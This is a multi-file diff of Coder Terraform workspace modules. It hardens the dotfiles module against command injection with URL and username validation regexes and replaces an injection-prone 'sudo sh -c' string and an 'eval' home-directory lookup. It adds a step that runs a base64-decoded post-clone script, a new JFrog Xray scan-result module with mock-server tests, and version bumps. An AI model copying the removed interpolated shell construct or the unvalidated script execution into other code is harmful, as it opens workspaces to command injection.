||||
default = null
|
||||
validation {
|
||||
condition = (
|
||||
var.dotfiles_uri == null ||
|
||||
var.dotfiles_uri == "" ||
|
||||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@~-]+$", var.dotfiles_uri))
|
||||
)
|
||||
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
variable "user" {
|
||||
type = string
|
||||
description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)"
|
||||
default = null
|
||||
|
||||
validation {
|
||||
condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user))
|
||||
error_message = "Must be a valid username without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
variable "coder_parameter_order" {
|
||||
@@ -63,6 +84,12 @@ variable "manual_update" {
|
||||
default = false
|
||||
}
|
||||
|
||||
variable "post_clone_script" {
|
||||
description = "Custom script to run after applying dotfiles. Runs every time, even if dotfiles were already applied."
|
||||
type = string
|
||||
default = null
|
||||
}
|
||||
|
||||
data "coder_parameter" "dotfiles_uri" {
|
||||
count = var.dotfiles_uri == null ? 1 : 0
|
||||
type = "string"
|
||||
@@ -73,18 +100,25 @@ data "coder_parameter" "dotfiles_uri" {
|
||||
description = var.description
|
||||
mutable = true
|
||||
icon = "/icon/dotfiles.svg"
|
||||
|
||||
validation {
|
||||
regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@~-]+$"
|
||||
error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
locals {
|
||||
dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
|
||||
user = var.user != null ? var.user : ""
|
||||
dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
|
||||
user = var.user != null ? var.user : ""
|
||||
encoded_post_clone_script = var.post_clone_script != null ? base64encode(var.post_clone_script) : ""
|
||||
}
|
||||
|
||||
resource "coder_script" "dotfiles" {
|
||||
agent_id = var.agent_id
|
||||
script = templatefile("${path.module}/run.sh", {
|
||||
DOTFILES_URI : local.dotfiles_uri,
|
||||
DOTFILES_USER : local.user
|
||||
DOTFILES_USER : local.user,
|
||||
POST_CLONE_SCRIPT : local.encoded_post_clone_script
|
||||
})
|
||||
display_name = "Dotfiles"
|
||||
icon = "/icon/dotfiles.svg"
|
||||
@@ -101,7 +135,8 @@ resource "coder_app" "dotfiles" {
|
||||
group = var.group
|
||||
command = templatefile("${path.module}/run.sh", {
|
||||
DOTFILES_URI : local.dotfiles_uri,
|
||||
DOTFILES_USER : local.user
|
||||
DOTFILES_USER : local.user,
|
||||
POST_CLONE_SCRIPT : local.encoded_post_clone_script
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -5,6 +5,19 @@ set -euo pipefail
|
||||
DOTFILES_URI="${DOTFILES_URI}"
|
||||
DOTFILES_USER="${DOTFILES_USER}"
|
||||
|
||||
# Validate DOTFILES_URI to prevent command injection (defense in depth)
|
||||
if [ -n "$DOTFILES_URI" ]; then
|
||||
# shellcheck disable=SC2250
|
||||
if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then
|
||||
echo "ERROR: DOTFILES_URI contains invalid characters" >&2
|
||||
exit 1
|
||||
fi
|
||||
if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then
|
||||
echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# shellcheck disable=SC2157
|
||||
if [ -n "$${DOTFILES_URI// }" ]; then
|
||||
if [ -z "$DOTFILES_USER" ]; then
|
||||
@@ -16,12 +29,28 @@ if [ -n "$${DOTFILES_URI// }" ]; then
|
||||
if [ "$DOTFILES_USER" = "$USER" ]; then
|
||||
coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log
|
||||
else
|
||||
# The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280
|
||||
# eval echo ~coder -> "/home/coder"
|
||||
# eval echo ~root -> "/root"
|
||||
if command -v getent > /dev/null 2>&1; then
|
||||
DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6)
|
||||
else
|
||||
DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd)
|
||||
fi
|
||||
if [ -z "$DOTFILES_USER_HOME" ]; then
|
||||
echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
CODER_BIN=$(which coder)
|
||||
DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER")
|
||||
sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log"
|
||||
CODER_BIN=$(command -v coder)
|
||||
sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log"
|
||||
fi
|
||||
fi
|
||||
|
||||
POST_CLONE_SCRIPT="${POST_CLONE_SCRIPT}"
|
||||
|
||||
if [ -n "$POST_CLONE_SCRIPT" ]; then
|
||||
echo "Running post-clone script..."
|
||||
POST_CLONE_TMP=$(mktemp)
|
||||
echo "$POST_CLONE_SCRIPT" | base64 -d > "$POST_CLONE_TMP"
|
||||
chmod +x "$POST_CLONE_TMP"
|
||||
$POST_CLONE_TMP
|
||||
rm "$POST_CLONE_TMP"
|
||||
fi
|
||||
|
||||
@@ -14,7 +14,7 @@ Runs a script that updates git credentials in the workspace to match the user's
|
||||
module "git-config" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/git-config/coder"
|
||||
version = "1.0.32"
|
||||
version = "1.0.33"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ TODO: Add screenshot
|
||||
module "git-config" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/git-config/coder"
|
||||
version = "1.0.32"
|
||||
version = "1.0.33"
|
||||
agent_id = coder_agent.main.id
|
||||
allow_email_change = true
|
||||
}
|
||||
@@ -43,7 +43,7 @@ TODO: Add screenshot
|
||||
module "git-config" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/git-config/coder"
|
||||
version = "1.0.32"
|
||||
version = "1.0.33"
|
||||
agent_id = coder_agent.main.id
|
||||
allow_username_change = false
|
||||
allow_email_change = false
|
||||
|
||||
@@ -44,6 +44,9 @@ data "coder_parameter" "user_email" {
|
||||
description = "Git user.email to be used for commits. Leave empty to default to Coder user's email."
|
||||
display_name = "Git config user.email"
|
||||
mutable = true
|
||||
styling = jsonencode({
|
||||
placeholder = data.coder_workspace_owner.me.email
|
||||
})
|
||||
}
|
||||
|
||||
data "coder_parameter" "username" {
|
||||
@@ -55,6 +58,9 @@ data "coder_parameter" "username" {
|
||||
description = "Git user.name to be used for commits. Leave empty to default to Coder user's Full Name."
|
||||
display_name = "Full Name for Git config"
|
||||
mutable = true
|
||||
styling = jsonencode({
|
||||
placeholder = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
|
||||
})
|
||||
}
|
||||
|
||||
resource "coder_env" "git_author_name" {
|
||||
|
||||
@@ -42,7 +42,7 @@ module "jetbrains" {
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
default = ["PY", "IU"] # Pre-configure GoLand and IntelliJ IDEA
|
||||
default = ["PY", "IU"] # Pre-configure PyCharm and IntelliJ IDEA
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
---
|
||||
display_name: JFrog Xray
|
||||
description: Fetch container image vulnerability scan results from JFrog Xray
|
||||
icon: ../../../../.icons/jfrog-xray.svg
|
||||
verified: true
|
||||
tags: [jfrog, xray]
|
||||
---
|
||||
|
||||
# JFrog Xray
|
||||
|
||||
This module fetches vulnerability scan results from JFrog Xray for container images stored in Artifactory. Use the outputs to display security information as workspace metadata.
|
||||
|
||||
```tf
|
||||
module "jfrog_xray" {
|
||||
source = "registry.coder.com/coder/jfrog-xray/coder"
|
||||
version = "1.0.0"
|
||||
|
||||
xray_url = "https://example.jfrog.io/xray"
|
||||
xray_token = var.artifactory_access_token
|
||||
image = "docker-local/myapp/backend:v1.0.0"
|
||||
}
|
||||
|
||||
resource "coder_metadata" "xray_scan" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
resource_id = docker_container.workspace[0].id
|
||||
icon = "/icon/shield.svg"
|
||||
|
||||
item {
|
||||
key = "Image"
|
||||
value = "docker-local/myapp/backend:v1.0.0"
|
||||
}
|
||||
item {
|
||||
key = "Total Vulnerabilities"
|
||||
value = module.jfrog_xray.total
|
||||
}
|
||||
item {
|
||||
key = "Critical"
|
||||
value = module.jfrog_xray.critical
|
||||
}
|
||||
item {
|
||||
key = "High"
|
||||
value = module.jfrog_xray.high
|
||||
}
|
||||
item {
|
||||
key = "Medium"
|
||||
value = module.jfrog_xray.medium
|
||||
}
|
||||
item {
|
||||
key = "Low"
|
||||
value = module.jfrog_xray.low
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Prerequisites
|
||||
|
||||
1. Container images must be stored in JFrog Artifactory
|
||||
2. JFrog Xray must be configured to scan your repositories
|
||||
3. A valid JFrog access token with Xray read permissions
|
||||
|
||||
## Remote Repositories
|
||||
|
||||
When scanning images from remote (proxy) repositories, set `use_cache_repo = true`. This is because Artifactory stores cached images in a companion `-cache` repository where Xray indexes the scan results.
|
||||
|
||||
```tf
|
||||
module "jfrog_xray" {
|
||||
source = "registry.coder.com/coder/jfrog-xray/coder"
|
||||
version = "1.0.0"
|
||||
|
||||
xray_url = "https://example.jfrog.io/xray"
|
||||
xray_token = var.artifactory_access_token
|
||||
image = "docker-remote/library/nginx:latest"
|
||||
use_cache_repo = true
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,244 @@
|
||||
import { serve } from "bun";
|
||||
import { describe, expect, it } from "bun:test";
|
||||
import { createJSONResponse, runTerraformInit, runTerraformApply } from "~test";
|
||||
|
||||
describe("jfrog-xray", async () => {
|
||||
await runTerraformInit(import.meta.dir);
|
||||
|
||||
// Mock server simulating a local repo with direct scan results
|
||||
const mockLocalRepo = serve({
|
||||
fetch: (req) => {
|
||||
const url = new URL(req.url);
|
||||
if (url.pathname === "/xray/api/v1/system/version")
|
||||
return createJSONResponse({
|
||||
xray_version: "3.80.0",
|
||||
xray_revision: "abc123",
|
||||
});
|
||||
if (url.pathname === "/xray/api/v1/artifacts")
|
||||
return createJSONResponse({
|
||||
data: [
|
||||
{
|
||||
name: "myapp/backend/v1.0.0",
|
||||
repo_path: "/myapp/backend/v1.0.0/manifest.json",
|
||||
size: "50.00 MB",
|
||||
sec_issues: {
|
||||
critical: 1,
|
||||
high: 3,
|
||||
medium: 5,
|
||||
low: 10,
|
||||
total: 19,
|
||||
},
|
||||
scans_status: {
|
||||
overall: {
|
||||
status: "DONE",
|
||||
time: "2026-03-04T22:00:02Z",
|
||||
},
|
||||
},
|
||||
violations: 0,
|
||||
},
|
||||
],
|
||||
offset: 0,
|
||||
});
|
||||
return createJSONResponse({});
|
||||
},
|
||||
port: 0,
|
||||
});
|
||||
|
||||
// Mock server simulating a remote repo with cache behavior
|
||||
// Returns both tag manifest (0 vulns, 0 size) and SHA manifest (real vulns, real size)
|
||||
const mockRemoteRepo = serve({
|
||||
fetch: (req) => {
|
||||
const url = new URL(req.url);
|
||||
if (url.pathname === "/xray/api/v1/system/version")
|
||||
return createJSONResponse({
|
||||
xray_version: "3.80.0",
|
||||
xray_revision: "abc123",
|
||||
});
|
||||
if (url.pathname === "/xray/api/v1/artifacts")
|
||||
return createJSONResponse({
|
||||
data: [
|
||||
{
|
||||
name: "codercom/enterprise-base/ubuntu",
|
||||
repo_path: "/codercom/enterprise-base/ubuntu/list.manifest.json",
|
||||
size: "0.00 B",
|
||||
sec_issues: { total: 0 },
|
||||
scans_status: {
|
||||
overall: { status: "DONE" },
|
||||
},
|
||||
violations: 0,
|
||||
},
|
||||
{
|
||||
name: "codercom/enterprise-base/sha256__abc123def456",
|
||||
repo_path:
|
||||
"/codercom/enterprise-base/sha256__abc123def456/manifest.json",
|
||||
size: "359.33 MB",
|
||||
sec_issues: {
|
||||
critical: 2,
|
||||
high: 6,
|
||||
medium: 20,
|
||||
low: 23,
|
||||
total: 51,
|
||||
},
|
||||
scans_status: {
|
||||
overall: { status: "DONE" },
|
||||
},
|
||||
violations: 2,
|
||||
},
|
||||
],
|
||||
offset: 0,
|
||||
});
|
||||
return createJSONResponse({});
|
||||
},
|
||||
port: 0,
|
||||
});
|
||||
|
||||
// Mock server returning empty results (image not scanned)
|
||||
const mockEmptyResults = serve({
|
||||
fetch: (req) => {
|
||||
const url = new URL(req.url);
|
||||
if (url.pathname === "/xray/api/v1/system/version")
|
||||
return createJSONResponse({
|
||||
xray_version: "3.80.0",
|
||||
xray_revision: "abc123",
|
||||
});
|
||||
if (url.pathname === "/xray/api/v1/artifacts")
|
||||
return createJSONResponse({ data: [], offset: -1 });
|
||||
return createJSONResponse({});
|
||||
},
|
||||
port: 0,
|
||||
});
|
||||
|
||||
const localRepoUrl = `http://${mockLocalRepo.hostname}:${mockLocalRepo.port}`;
|
||||
const remoteRepoUrl = `http://${mockRemoteRepo.hostname}:${mockRemoteRepo.port}`;
|
||||
const emptyResultsUrl = `http://${mockEmptyResults.hostname}:${mockEmptyResults.port}`;
|
||||
|
||||
const getProviderEnv = (url: string) => ({
|
||||
XRAY_URL: url,
|
||||
XRAY_ACCESS_TOKEN: "test-token",
|
||||
});
|
||||
|
||||
it("validates required variable: xray_url", async () => {
|
||||
try {
|
||||
await runTerraformApply(
|
||||
import.meta.dir,
|
||||
{
|
||||
xray_token: "test-token",
|
||||
image: "docker-local/test/image:latest",
|
||||
},
|
||||
getProviderEnv(localRepoUrl),
|
||||
);
|
||||
throw new Error("Expected apply to fail without xray_url");
|
||||
} catch (ex) {
|
||||
if (!(ex instanceof Error)) throw new Error("Unknown error");
|
||||
expect(ex.message).toContain('input variable "xray_url" is not set');
|
||||
}
|
||||
});
|
||||
|
||||
it("validates required variable: xray_token", async () => {
|
||||
try {
|
||||
await runTerraformApply(
|
||||
import.meta.dir,
|
||||
{
|
||||
xray_url: localRepoUrl,
|
||||
image: "docker-local/test/image:latest",
|
||||
},
|
||||
getProviderEnv(localRepoUrl),
|
||||
);
|
||||
throw new Error("Expected apply to fail without xray_token");
|
||||
} catch (ex) {
|
||||
if (!(ex instanceof Error)) throw new Error("Unknown error");
|
||||
expect(ex.message).toContain('input variable "xray_token" is not set');
|
||||
}
|
||||
});
|
||||
|
||||
it("validates required variable: image", async () => {
|
||||
try {
|
||||
await runTerraformApply(
|
||||
import.meta.dir,
|
||||
{
|
||||
xray_url: localRepoUrl,
|
||||
xray_token: "test-token",
|
||||
},
|
||||
getProviderEnv(localRepoUrl),
|
||||
);
|
||||
throw new Error("Expected apply to fail without image");
|
||||
} catch (ex) {
|
||||
if (!(ex instanceof Error)) throw new Error("Unknown error");
|
||||
expect(ex.message).toContain('input variable "image" is not set');
|
||||
}
|
||||
});
|
||||
|
||||
it("returns vulnerability counts for local repository", async () => {
|
||||
const state = await runTerraformApply(
|
||||
import.meta.dir,
|
||||
{
|
||||
xray_url: localRepoUrl,
|
||||
xray_token: "test-token",
|
||||
image: "docker-local/myapp/backend:v1.0.0",
|
||||
},
|
||||
getProviderEnv(localRepoUrl),
|
||||
);
|
||||
|
||||
expect(state.outputs.critical.value).toBe(1);
|
||||
expect(state.outputs.high.value).toBe(3);
|
||||
expect(state.outputs.medium.value).toBe(5);
|
||||
expect(state.outputs.low.value).toBe(10);
|
||||
expect(state.outputs.total.value).toBe(19);
|
||||
});
|
||||
|
||||
it("returns zero counts when image has no scan results", async () => {
|
||||
const state = await runTerraformApply(
|
||||
import.meta.dir,
|
||||
{
|
||||
xray_url: emptyResultsUrl,
|
||||
xray_token: "test-token",
|
||||
image: "docker-local/unscanned/image:latest",
|
||||
},
|
||||
getProviderEnv(emptyResultsUrl),
|
||||
);
|
||||
|
||||
expect(state.outputs.critical.value).toBe(0);
|
||||
expect(state.outputs.high.value).toBe(0);
|
||||
expect(state.outputs.medium.value).toBe(0);
|
||||
expect(state.outputs.low.value).toBe(0);
|
||||
expect(state.outputs.total.value).toBe(0);
|
||||
});
|
||||
|
||||
it("uses cache repo when use_cache_repo is enabled", async () => {
|
||||
const state = await runTerraformApply(
|
||||
import.meta.dir,
|
||||
{
|
||||
xray_url: remoteRepoUrl,
|
||||
xray_token: "test-token",
|
||||
image: "docker-remote/codercom/enterprise-base:ubuntu",
|
||||
use_cache_repo: true,
|
||||
},
|
||||
getProviderEnv(remoteRepoUrl),
|
||||
);
|
||||
|
||||
// Should find the SHA artifact with actual vulnerabilities
|
||||
expect(state.outputs.critical.value).toBe(2);
|
||||
expect(state.outputs.high.value).toBe(6);
|
||||
expect(state.outputs.medium.value).toBe(20);
|
||||
expect(state.outputs.low.value).toBe(23);
|
||||
expect(state.outputs.total.value).toBe(51);
|
||||
expect(state.outputs.violations.value).toBe(2);
|
||||
expect(state.outputs.artifact_name.value).toContain("sha256__");
|
||||
});
|
||||
|
||||
it("allows custom repo and repo_path override", async () => {
|
||||
const state = await runTerraformApply(
|
||||
import.meta.dir,
|
||||
{
|
||||
xray_url: localRepoUrl,
|
||||
xray_token: "test-token",
|
||||
image: "ignored/path:tag",
|
||||
repo: "docker-local",
|
||||
repo_path: "/myapp/backend/v1.0.0",
|
||||
},
|
||||
getProviderEnv(localRepoUrl),
|
||||
);
|
||||
|
||||
expect(state.outputs.total.value).toBe(19);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,135 @@
|
||||
terraform {
|
||||
required_version = ">= 1.0"
|
||||
|
||||
required_providers {
|
||||
xray = {
|
||||
source = "jfrog/xray"
|
||||
version = ">= 2.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
provider "xray" {
|
||||
url = var.xray_url
|
||||
access_token = var.xray_token
|
||||
}
|
||||
|
||||
variable "xray_url" {
|
||||
description = "The URL of your JFrog Xray instance (e.g., https://mycompany.jfrog.io/xray). This should point to the Xray API endpoint, not Artifactory."
|
||||
type = string
|
||||
validation {
|
||||
condition = can(regex("^https?://", var.xray_url))
|
||||
error_message = "The xray_url must be a valid URL starting with http:// or https://."
|
||||
}
|
||||
}
|
||||
|
||||
variable "xray_token" {
|
||||
description = "The access token for authenticating with JFrog Xray. This token needs read permissions on Xray scan results. You can generate one in JFrog Platform under User Management > Access Tokens."
|
||||
type = string
|
||||
sensitive = true
|
||||
}
|
||||
|
||||
variable "image" {
|
||||
description = "The Docker image to check for vulnerabilities, in the format 'repo/path/image:tag'. For example: 'docker-local/myapp/backend:v1.0.0' or 'docker-remote/library/nginx:latest'. The repository name is extracted from the first path segment."
|
||||
type = string
|
||||
validation {
|
||||
condition = length(split("/", var.image)) >= 2
|
||||
error_message = "The image must include at least a repository and image name (e.g., 'docker-local/myimage:tag')."
|
||||
}
|
||||
}
|
||||
|
||||
variable "repo" {
|
||||
description = "Override the repository name extracted from the image path. Use this when your Artifactory repository name differs from the first segment of your image path."
|
||||
type = string
|
||||
default = ""
|
||||
}
|
||||
|
||||
variable "repo_path" {
|
||||
description = "Override the full Xray repository path. Use this for custom path structures that don't follow the standard 'repo/image:tag' format. When set, this takes precedence over automatic path construction."
|
||||
type = string
|
||||
default = ""
|
||||
}
|
||||
|
||||
variable "use_cache_repo" {
|
||||
description = "Set to true when scanning images from remote (proxy) repositories. Remote repositories in Artifactory store cached artifacts in a companion '-cache' repository (e.g., 'docker-remote-cache'), which is where Xray indexes the scan results."
|
||||
type = bool
|
||||
default = false
|
||||
}
|
||||
|
||||
locals {
|
||||
# Parse the image string into components
|
||||
# Example: "docker-local/myapp/backend:v1.0.0"
|
||||
# -> repo: "docker-local", image_name: "myapp/backend", tag: "v1.0.0"
|
||||
image_parts = split("/", var.image)
|
||||
base_repo = var.repo != "" ? var.repo : local.image_parts[0]
|
||||
parsed_repo = var.use_cache_repo ? "${local.base_repo}-cache" : local.base_repo
|
||||
image_path = join("/", slice(local.image_parts, 1, length(local.image_parts)))
|
||||
image_name = split(":", local.image_path)[0]
|
||||
image_tag = length(split(":", local.image_path)) > 1 ? split(":", local.image_path)[1] : "latest"
|
||||
|
||||
# Construct the Xray query path based on repository type:
|
||||
# - Local repositories: Query the exact tag path (e.g., /myapp/backend/v1.0.0)
|
||||
# - Remote repositories: Query by image name only (e.g., /myapp/backend) because
|
||||
# the Terraform provider only returns the SHA manifest (with actual scan data)
|
||||
# when querying the broader path
|
||||
parsed_path = var.repo_path != "" ? var.repo_path : (
|
||||
var.use_cache_repo ? "/${local.image_name}" : "/${local.image_name}/${local.image_tag}"
|
||||
)
|
||||
|
||||
results = coalesce(try(data.xray_artifacts_scan.image_scan.results, []), [])
|
||||
|
||||
# For remote repositories, filter to find the actual scanned image (not tag pointers):
|
||||
# - Tag manifests have size "0.00 B" (they're just pointers to SHA manifests)
|
||||
# - SHA manifests have actual size (e.g., "359.33 MB") and contain the real scan data
|
||||
# For local repositories, there's typically only one result which is the actual image
|
||||
scanned_images = var.use_cache_repo ? [
|
||||
for r in local.results : r if r.size != "0.00 B"
|
||||
] : local.results
|
||||
|
||||
# The artifact we'll report scan results for
|
||||
scan_result = (
|
||||
length(local.scanned_images) > 0 ? local.scanned_images[0] :
|
||||
length(local.results) > 0 ? local.results[0] :
|
||||
null
|
||||
)
|
||||
}
|
||||
|
||||
data "xray_artifacts_scan" "image_scan" {
|
||||
repo = local.parsed_repo
|
||||
repo_path = local.parsed_path
|
||||
}
|
||||
|
||||
output "critical" {
|
||||
description = "The number of critical severity vulnerabilities found in the image. Critical vulnerabilities typically require immediate attention."
|
||||
value = try(local.scan_result.sec_issues.critical, 0)
|
||||
}
|
||||
|
||||
output "high" {
|
||||
description = "The number of high severity vulnerabilities found in the image."
|
||||
value = try(local.scan_result.sec_issues.high, 0)
|
||||
}
|
||||
|
||||
output "medium" {
|
||||
description = "The number of medium severity vulnerabilities found in the image."
|
||||
value = try(local.scan_result.sec_issues.medium, 0)
|
||||
}
|
||||
|
||||
output "low" {
|
||||
description = "The number of low severity vulnerabilities found in the image."
|
||||
value = try(local.scan_result.sec_issues.low, 0)
|
||||
}
|
||||
|
||||
output "total" {
|
||||
description = "The total number of vulnerabilities found across all severity levels."
|
||||
value = try(local.scan_result.sec_issues.total, 0)
|
||||
}
|
||||
|
||||
output "artifact_name" {
|
||||
description = "The name of the artifact that was scanned, as reported by Xray. For remote repositories, this will be the SHA-based manifest name (e.g., 'myimage/sha256__abc123...')."
|
||||
value = try(local.scan_result.name, "")
|
||||
}
|
||||
|
||||
output "violations" {
|
||||
description = "The number of Xray policy violations detected. Violations are triggered when vulnerabilities match rules defined in your Xray security policies."
|
||||
value = try(local.scan_result.violations, 0)
|
||||
}
|
||||
@@ -16,7 +16,7 @@ A module that adds JupyterLab in your Coder template.
|
||||
module "jupyterlab" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/jupyterlab/coder"
|
||||
version = "1.2.1"
|
||||
version = "1.2.2"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ JupyterLab is automatically configured to work with Coder's iframe embedding. Fo
|
||||
module "jupyterlab" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/jupyterlab/coder"
|
||||
version = "1.2.1"
|
||||
version = "1.2.2"
|
||||
agent_id = coder_agent.main.id
|
||||
config = {
|
||||
ServerApp = {
|
||||
|
||||
@@ -77,7 +77,7 @@ describe("jupyterlab", async () => {
|
||||
expect(output.exitCode).toBe(1);
|
||||
expect(output.stdout).toEqual([
|
||||
"Checking for a supported installer",
|
||||
"No valid installer is not installed",
|
||||
"No supported installer found.",
|
||||
"Please install pipx or uv in your Dockerfile/VM image before running this script",
|
||||
]);
|
||||
});
|
||||
|
||||
@@ -14,7 +14,7 @@ check_available_installer() {
|
||||
INSTALLER="uv"
|
||||
return
|
||||
fi
|
||||
echo "No valid installer is not installed"
|
||||
echo "No supported installer found."
|
||||
echo "Please install pipx or uv in your Dockerfile/VM image before running this script"
|
||||
exit 1
|
||||
}
|
||||
|
||||
@@ -14,7 +14,7 @@ Automatically install [KasmVNC](https://kasmweb.com/kasmvnc) in a workspace, and
|
||||
module "kasmvnc" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/kasmvnc/coder"
|
||||
version = "1.2.7"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
desktop_environment = "xfce"
|
||||
subdomain = true
|
||||
|
||||
@@ -54,6 +54,15 @@ variable "subdomain" {
|
||||
description = "Is subdomain sharing enabled in your cluster?"
|
||||
}
|
||||
|
||||
variable "share" {
|
||||
type = string
|
||||
default = "owner"
|
||||
validation {
|
||||
condition = var.share == "owner" || var.share == "authenticated" || var.share == "public"
|
||||
error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'."
|
||||
}
|
||||
}
|
||||
|
||||
resource "coder_script" "kasm_vnc" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "KasmVNC"
|
||||
@@ -75,7 +84,7 @@ resource "coder_app" "kasm_vnc" {
|
||||
url = "http://localhost:${var.port}"
|
||||
icon = "/icon/kasmvnc.svg"
|
||||
subdomain = var.subdomain
|
||||
share = "owner"
|
||||
share = var.share
|
||||
order = var.order
|
||||
group = var.group
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "kiro" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/kiro/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -31,7 +31,7 @@ module "kiro" {
|
||||
module "kiro" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/kiro/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
@@ -47,7 +47,7 @@ The following example configures Kiro to use the GitHub MCP server with authenti
|
||||
module "kiro" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/kiro/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
mcp = jsonencode({
|
||||
|
||||
@@ -53,7 +53,7 @@ locals {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
@@ -8,13 +8,13 @@ tags: [ai, agents, development, multiplexer]
|
||||
|
||||
# Mux
|
||||
|
||||
Automatically install and run [Mux](https://github.com/coder/mux) in a Coder workspace. By default, the module installs `mux@next` from npm (with a fallback to downloading the npm tarball if npm is unavailable). Mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces.
|
||||
Automatically install and run [Mux](https://github.com/coder/mux) in a Coder workspace. By default, the module auto-detects an available package manager (`npm`, `pnpm`, or `bun`) to install `mux@next` (with a fallback to downloading the npm tarball if none is found). You can also force a specific package manager via `package_manager` and point to a custom registry with `registry_url`. The launcher now keeps watching the mux process after startup and appends signal/exit-code diagnostics to the mux log when the server is killed outside the Node runtime. Mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces.
|
||||
|
||||
```tf
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.4.0"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -37,7 +37,7 @@ module "mux" {
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.4.0"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -48,7 +48,7 @@ module "mux" {
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.4.0"
|
||||
agent_id = coder_agent.main.id
|
||||
# Default is "latest"; set to a specific version to pin
|
||||
install_version = "0.4.0"
|
||||
@@ -63,9 +63,24 @@ Start Mux with `mux server --add-project /path/to/project`:
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.4.0"
|
||||
agent_id = coder_agent.main.id
|
||||
add-project = "/path/to/project"
|
||||
add_project = "/path/to/project"
|
||||
}
|
||||
```
|
||||
|
||||
### Pass Arbitrary `mux server` Arguments
|
||||
|
||||
Use `additional_arguments` to append additional arguments to `mux server`.
|
||||
The module parses quoted values, so grouped arguments remain intact.
|
